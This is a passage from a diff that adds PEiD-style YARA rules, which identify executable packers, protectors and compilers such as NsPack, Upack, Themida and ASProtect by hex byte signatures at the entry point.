+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 05 FF FF FF 85 C0 0F 84 06 03 00 00 89 85 C5 FE FF FF E8 00 00 00 00 5B B9 31 89 40 00 81 E9 2E 86 40 00 03 D9 50 53 E8 3D 02 00 00 61 03 BD A9 FE FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 09 FF FF FF FF B5 05 FF FF FF 56 57 FF 95 C5 FE FF FF 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB CE 68 00 80 00 00 6A 00 FF B5 C5 FE FF FF FF 95 09 FF FF FF 8D}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Upack_v030_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.30 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 30}
+		$1 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 30}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NsPack_30__North_Star_
+{
+	meta:
+		description = "NsPack 3.0 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MoleBox_v20_
+{
+	meta:
+		description = "MoleBox v2.0"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 60 E8 4F}
+		$1 = {E8 ?? ?? ?? ?? 60 E8 4F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _codeCrypter_031__Tibbar_
+{
+	meta:
+		description = "codeCrypter 0.31 -> Tibbar"
+	strings:
+		$0 = {50 58 53 5B 90 BB ?? ?? ?? 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+		$1 = {50 58 53 5B 90 BB ?? ?? ?? 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _EXECryptor_2021__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.0/2.1 -> www.strongbit.com"
+	strings:
+		$0 = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF ?? 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+		$1 = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCShrinker_v020__Virogen_
+{
+	meta:
+		description = "PC-Shrinker v0.20 -> Virogen"
+	strings:
+		$0 = {E8 E8 01 00 00 60 01 AD B3 27 40 00 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Anti007_V26__LiuXingPing_
+{
+	meta:
+		description = "Anti007 V2.6 -> LiuXingPing"
+	strings:
+		$0 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 57 72 69 74 65 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00}
+	condition:
+		$0
+}
+rule _BookManager_v9510_
+{
+	meta:
+		description = "BookManager v9510"
+	strings:
+		$0 = {FC A3 ?? ?? 89 1E ?? ?? 49 89 0E ?? ?? BB ?? ?? 8C 1F 83 ?? ?? 89 ?? ?? B8 ?? ?? 50 89 ?? ?? F7 D0 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Stealth_PE_v11_
+{
+	meta:
+		description = "Stealth PE v1.1"
+	strings:
+		$0 = {BA ?? ?? ?? 00 FF E2 BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 03 B8 ?? ?? ?? ?? 89 02 83 C2 FD FF E2}
+	condition:
+		$0 at entrypoint
+}
+rule _FixupPak_120_
+{
+	meta:
+		description = "FixupPak 1.20"
+	strings:
+		$0 = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_098_
+{
+	meta:
+		description = "PECompact 0.98"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 00 87 DD 8B 85 5C 85 40 00 01 85 CB 84 40 00 66 C7 85 C8 84 40 00 90 90 BB A6 09 00 00 03 9D 60 85 40 00 03 9D 5C 85 40 00 53 53 53 58 2D 32}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_DLL__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+		$1 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+		$2 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PEArmor_V07X__Hying_
+{
+	meta:
+		description = "PEArmor V0.7X -> Hying"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _iLUCRYPT_4014__4015_
+{
+	meta:
+		description = "iLUCRYPT 4.014 - 4.015"
+	strings:
+		$0 = {8B EC FA C7 46 F7 00 00 42 81 FA 00 00 75 F9 FF 66 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V036V037_DLL__Dwing_
+{
+	meta:
+		description = "Upack V0.36-V0.37 (DLL) -> Dwing"
+	strings:
+		$0 = {0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 18 10 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 14 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00}
+		$1 = {60 E8 09 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 5E 87 0E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RCryptor_16_by_Vaska_Damrai_sign_20032007_2041_
+{
+	meta:
+		description = "RCryptor 1.6 by Vaska (Damrai sign 20.03.2007 20:41)"
+	strings:
+		$0 = {83 2C 24 4F 68 40 A1 14 13 FF 54 24 04 83 44 24 04 4F B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 2B 40 EB F3 B8 8C 20 18 13 3D B9 27 18 13 74 06 80 30 19 40 EB F3 E8 00 00 00 00 C3}
+		$1 = {33 D0 68 40 A1 14 13 FF D2 B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 BB 40 EB F3 33 C0 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Immun_12_registered_EXE_
+{
+	meta:
+		description = "Immun 1.2 registered [EXE]"
+	strings:
+		$0 = {50 53 51 52 56 57 1E 06 2E 8B 0E D3 07 E3 1E 1E 06 D1 E1 8C C8 8E D8 8E C0 BE D5 07 BF 6D 08 8B D1 4A D1 E2 03 F2 03 FA FD F3 A5 07 1F B4 30 CD 21 2E A2 63 01 3C 03 72 54 1E 33 C0 8E D8 80 3E FD 04 49 C6 06 FD 04 00 1F 74 42 8E 1E 2C 00 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_10__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASProtect 1.0 -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E8 01 00 00 00 90 5D 81 ED ?? ?? ?? 00 BB ?? ?? ?? 00 03 DD 2B 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_JDPack_1x__JDProtect_09_
+{
+	meta:
+		description = "PseudoSigner 0.2 [JDPack 1.x / JDProtect 0.9"
+	strings:
+		$0 = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_WATCOM_CCue_EXE_
+{
+	meta:
+		description = "PseudoSigner 0.1 [WATCOM C/Cue EXE"
+	strings:
+		$0 = {E9 00 00 00 00 90 90 90 90 57 41 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _MPEG_Layer_IIIII_music_file_
+{
+	meta:
+		description = "MPEG Layer II/III music file"
+	strings:
+		$0 = {FF F5}
+		$1 = {FF F3}
+		$2 = {FF F8}
+		$3 = {FF FC}
+		$4 = {FF F0}
+		$5 = {FF F4}
+		$6 = {FF FB}
+		$7 = {FF F7}
+		$8 = {FF F6}
+		$9 = {FF F9}
+		$10 = {FF FA}
+		$11 = {FF F2}
+		$12 = {FF F1}
+		$13 = {FF E3}
+		$14 = {FF FE}
+		$15 = {FF FD}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3 or $4 or $5 or $6 at entrypoint or $7 or $8 or $9 or $10 or $11 or $12 or $13 or $14 or $15
+}
+rule _EXE32Pack_v139__SteelBytes_
+{
+	meta:
+		description = "EXE32Pack v1.39 -> SteelBytes"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? 00 ?? ?? 00 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_Win32_1994_
+{
+	meta:
+		description = "Borland C++ Win32 (1994)"
+	strings:
+		$0 = {A1 59 00 00 00 C1 E0 02 A3 5D 00 00 00 57 51 33 C0 BF 00 00 00 00 B9 00 00 00 00 3B CF 76 05 2B CF FC F3 AA 59 5F 64 67 8B 16 04 00 8B 42 F8 A3 61 00 00 00 8B 42 FC A3 65 00 00 00 83 EA 04 89 15 00 00 00 00 83 EA 04 3B D4 73 02 8B E2 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16c__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6c --> Vaska"
+	strings:
+		$0 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V18XV19X_DLL__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.8.X-V1.9.X DLL -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D ?? ?? ?? ?? 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D ?? ?? ?? ?? EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 05 89 48 01 61 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v25_
+{
+	meta:
+		description = "EXE Stealth v2.5"
+	strings:
+		$0 = {60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+		$1 = {60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PseudoSigner_01_VideoLanClient_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Video-Lan-Client"
+	strings:
+		$0 = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 E9}
+		$1 = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_226_DLL_minimum_protection_
+{
+	meta:
+		description = "EXECryptor 2.2.6 DLL (minimum protection)"
+	strings:
+		$0 = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1 E2 ?? C1 E8 ?? 81 EA ?? ?? ?? ?? 13 DA 81 E9 ?? ?? ?? ?? 87 04 24 8B C8 E9 ?? ?? ?? ?? 55 8B EC 83 C4 F8 89 45 FC 8B 45 FC 89 45 F8 8B 45 08 E9 ?? ?? ?? ?? 8B 45 E0 C6 00 00 FF 45 E4 E9 ?? ?? ?? ?? FF 45 E4 E9 ?? ?? ?? 00 F7 D3 0F 81 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 34 24 5E 8B 45 F4 E8 ?? ?? ?? 00 8B 45 F4 8B E5 5D C3 E9}
+		$1 = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1 E2 ?? C1 E8 ?? 81 EA ?? ?? ?? ?? 13 DA 81 E9 ?? ?? ?? ?? 87 04 24 8B C8 E9 ?? ?? ?? ?? 55 8B EC 83 C4 F8 89 45 FC 8B 45 FC 89 45 F8 8B 45 08 E9 ?? ?? ?? ?? 8B 45 E0 C6 00 00 FF 45 E4 E9 ?? ?? ?? ?? FF 45 E4 E9 ?? ?? ?? 00 F7 D3 0F 81 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 34 24 5E 8B 45 F4 E8 ?? ?? ?? 00 8B 45 F4 8B E5 5D C3 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Alex_Protector_10__Alex_
+{
+	meta:
+		description = "Alex Protector 1.0 -> Alex"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RARSFX_Archive_1_
+{
+	meta:
+		description = "RAR-SFX Archive (1)"
+	strings:
+		$0 = {4D 5A ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 52 53 46 58}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_v118_Basic_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack v1.18 Basic [aPLib] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXShit_v01__500mhz_
+{
+	meta:
+		description = "UPX-Shit v0.1 -> 500mhz"
+	strings:
+		$0 = {E8 00 00 00 00 5D 8B CD 81 ED 7A 29 40 00 89 AD 0F 6D 40 00}
+		$1 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+		$2 = {E8 ?? ?? ?? ?? 5E 83 C6 ?? AD 89 C7 AD 89 C1 AD 30 07 47 E2 ?? AD FF E0 C3}
+		$3 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00}
+		$4 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79 20 5B 35 30 30 6D 68 7A 5D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _ABC_Cryptor_10__by_ZloY_
+{
+	meta:
+		description = "ABC Cryptor 1.0 - by ZloY"
+	strings:
+		$0 = {68 FF 64 24 F0 68 58 58 58 58 90 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68 ?? ?? ?? ?? BF 00 ?? ?? ?? B9 00 ?? ?? ?? 80 37 ?? 47 39 CF 75 F8}
+		$1 = {68 FF 64 24 F0 68 58 58 58 58 90 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68 ?? ?? ?? ?? BF 00 ?? ?? ?? B9 00 ?? ?? ?? 80 37 ?? 47 39 CF 75 F8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? BF 00 ?? ?? ?? B9 00 ?? ?? ?? 80 37 ?? 47 39 CF 75 F8}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Microsoft_C_for_Windows_
+{
+	meta:
+		description = "Microsoft C for Windows"
+	strings:
+		$0 = {33 ED 55 9A ?? ?? ?? ?? 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PEQuake_v006__forgotus_
+{
+	meta:
+		description = "PEQuake v0.06 -> forgot/us"
+	strings:
+		$0 = {E8 A5 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D ?? ?? ?? 2D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 81 00 00 00 56 50 FF 55 2D 89 85 8E 00 00 00 6A 04 68 00 10 00 00 68 ?? ?? 00 00 6A 00 FF 95 8E 00 00 00 50 8B 9D 7D 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v31__JunkCode_
+{
+	meta:
+		description = "PEncrypt v3.1 -> JunkCode"
+	strings:
+		$0 = {E9 ?? ?? ?? 00 F0 0F C6}
+	condition:
+		$0 at entrypoint
+}
+rule _UpxLock_10__12__CyberDoom__TeamX__BoB__BobSoft_
+{
+	meta:
+		description = "Upx-Lock 1.0 - 1.2 --> CyberDoom / Team-X & BoB / BobSoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 48 12 40 00 60 E8 2B 03 00 00 61}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 48 12 40 00 60 E8 2B 03 00 00 61}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V112V114_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.12-V1.14 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 60}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 60}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v253b3_
+{
+	meta:
+		description = "Armadillo v2.53b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 D8 ?? ?? ?? 68 14 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+		$1 = {55 8B EC 6A FF 68 D8 ?? ?? ?? 68 14 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yodas_Protector_v101__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector v1.01 -> Ashkbiz Danehkar"
+	strings:
